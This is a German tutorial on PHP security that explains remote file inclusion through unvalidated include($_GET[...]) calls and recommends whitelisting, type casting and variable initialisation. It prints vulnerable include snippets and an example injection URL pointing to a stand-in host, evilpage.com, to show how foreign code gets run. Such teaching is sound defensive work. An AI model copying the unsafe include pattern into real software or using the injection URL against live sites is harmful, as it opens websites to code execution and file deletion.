PHP : Sicherheit
_NEVER_ trust incoming data - Daten richtig verarbeiten
von ShurakaiPHP steht immer mehr in der Schusslinie - angeblich soll die Sprache
generell unsicher sein, meinen Kritiker.
Die Entwickler weisen dies jedoch zurück und geben an, dass vorangig
unerfahrene Entwickler schwere Sicherheitsfehler machen - und so die
Seiten gehackt werden.
Nicht nur durch SQL-Injections werden Websites gehackt - auch durch unsichere Includes etc.!
Ich versuche in diesem Tutorial einfach mal ein wenig darauf einzugehen
und zu erklären

Generell werden die meisten Websites durch unzureichende Überprüfungen
von Daten gehackt - zum Beispiel bei Includes..
Code:
- include($_GET['seite']);
Ein Link mit index.php?seite=ordner2/anderedatei.html würde z.B. die
datei "anderedatei.html" aus dem Ordner "ordner2" includen - aber was
passiert, wenn ein bösartiger Besucher den Link manipuliert und einfach
ein ?seite=http://www.evilpage.com/evilcode.php daraus macht?
PHP versucht die Datei zu öffnen - und Code auszuführen.
Probiert es selber aus:
Schreibt in eine Datei test.php den folgenden Code:
Code:
- <?php
- echo "Dies ist Fremdcode
- <?php \$variable = \"Unsicheres PHP??\"; echo \$variable.'
- ';
- echo var_dump(\$variable);
- ?> ";
- ?>
Nun fügt ihr in eine andere PHP-Datei einen include auf diese Datei ein,
zum Beispiel:
Code:
- include("http://localhost/test.php");
Was würde wohl passieren wenn wir in dem PHP-Code zum Beispiel ein
unlink() o.Ä. eingebaut hätten...?
Deshalb: _NEVER_ trust incoming data - NEVER EVER!!!! Immer vorher
überprüfen, das heißt im Klartext: Nicht direkt Variablen, deren Inhalt
vom Benutzer kommt, an include usw. übergeben.
Benutzt für solche includes vorher z.B. switch()-Anweisungen!
Auch soetwas wie
Code:
- include($_GET['seite'] . 'datei.html');
sollte tunlichst vermieden werden - der Angreifer könnte in den Link
etwas wie:
index.php?seite=http://www.evilpage.com/evilcode.php?
einbauen, dann würde aus dem include ein:
Code:
- include("http://www.evilpage.com/evilcode.php?datei.html");
Auch an andere Funktionen wie Beispielsweise unlink() zum löschen von
Dateien etc. sollten die Daten nicht sofort so übergeben werden!
Wenn ihr REGISTER_GLOBALS aktiviert habt (wer nicht sicher ist - ein
phpinfo() hilft gut weiter), solltet ihr vor dem Verwenden einer
Variablen diese unbedingt initialisieren - da alle Variablen global
sind, und somit sofort zur Verfügung stehen. Diese werden durch das
initialisieren überschrieben - ein Angreifer kann nun soviel an URLs
dran hängen wie er will.
Bei Daten die vom Benutzer kommen könnt ihr auch Funktionen wie
settype(), intval(), floatval() usw. verwenden, um den Datentypen
festzulegen - oder Typecasts.
Wenn ihr nach dem Motto "Never trust incoming data!" programmiert und
alles ausreichend überprüft, solltet ihr auch nicht eines Tages ein
böses Erwachen haben, wenn eure Website eine neue Startseite (oder
vielleicht noch schlimmer, Dateien wurden gelöscht etc...) bekommen hat,
mit der Aufschrift "Diese Seite wurde gehackt!"
Denn gerade im Moment sind viele Würmer unterwegs, die Suchmaschinen
benutzen und einfach bei Websites probieren - vielleicht finden sie ja
eine Sicherheitslücke, und wie es aussieht finden sie einige....